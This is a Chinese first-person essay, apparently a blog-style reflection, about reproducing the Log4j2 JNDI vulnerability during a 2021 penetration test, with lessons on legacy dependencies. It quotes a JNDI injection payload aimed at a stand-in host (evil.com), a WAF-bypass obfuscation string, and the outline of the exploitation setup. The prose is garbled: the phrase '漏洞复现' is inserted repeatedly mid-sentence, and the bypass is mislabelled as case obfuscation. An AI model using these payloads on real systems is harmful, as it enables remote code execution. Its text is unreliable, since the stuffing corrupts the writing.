漏洞复现2021

凌晨两点，漏洞复现我盯着屏幕上那个红得刺眼的漏洞复现命令执行窗口，手边咖啡已经凉透。漏洞复现Log4j2的漏洞复现漏洞，就这么赤裸裸地摆在那儿——一个`${ jndi:ldap://...}`的漏洞复现字符串，就能让服务器乖乖交出权限。漏洞复现2021年12月，漏洞复现整个安全圈都在熬夜，漏洞复现不是漏洞复现在复现，就是漏洞复现在去复现的路上。

那会儿我刚好在做一个内部系统的漏洞复现渗透测试。甲方说“你们随便测”，漏洞复现但没人真信这句话。漏洞复现直到我在登录框里输入了那段经典的漏洞复现payload——不是`admin`，不是漏洞复现`or 1=1`，而是`${ jndi:ldap://evil.com/exp}`。日志系统居然真的把这条输入原封不动地记下来了，然后，DNSlog回显了。那一刻我后背发凉，不是因为成功入侵，而是因为这漏洞太他妈好打了。

复现的过程其实很枯燥。下载Apache Log4j 2.14.1，写个Java类，起个恶意LDAP服务，然后触发。但真正让我记住2021的不是技术细节，而是那种“全世界都在裸奔”的荒诞感。你用的每一个Java中间件，Spring Boot、Struts、甚至某些路由器管理后台，都可能埋着这颗雷。有个同事开玩笑说，这年头的漏洞复现，不是在找后门，是在确认自己家大门到底有没有锁。

后来我试着在本地搭了个模拟环境，想看看能不能绕过当时流行的WAF规则。折腾到第三天，发现用`${ ${ ::-j}ndi}`这种大小写混淆就能轻松击穿某些防护。那种感觉就像你费尽心思配了一把防盗锁，结果发现小偷用一张硬纸板就捅开了。更讽刺的是，Apache官方在2.15.0版本里只是默认关闭了JNDI的远程加载，而不是彻底移除——治标不治本，懂的人都懂。

到了12月中旬，补丁版本都出了，但网上还是不断有人晒出新的绕过姿势。有个朋友在甲方群里说，他们连夜把几百台服务器的log4j版本全升级了，结果第二天扫描发现，某个边缘系统还在用老版本——因为当初部署的人图省事，把依赖打进了一个自研的jar包里，没人记得改过。这种事儿在真实环境里太常见了，漏洞复现文档写得再漂亮，也架不住生产环境里那些“历史遗留问题”。

2021年教会我的不是怎么打补丁，而是怎么面对不确定性。你永远不知道下一个Log4j藏在哪段没人在意的代码里。现在我做安全测试，都会多问一句：你们有没有自己封装的日志组件？有没有外包团队留下的老项目？对方通常愣一下，然后翻出一堆几年没动过的git仓库。

那阵子过去后，漏洞复现这件事变得有点不一样了。它不再是CTF比赛里的炫技，而是变成了一种日常的警惕——像检查门锁，像看天气预报。我后来把那次复现的完整过程写成了内部报告，最后一行是：“建议所有开发团队默认不信任何用户输入，包括日志里的。”没人反驳。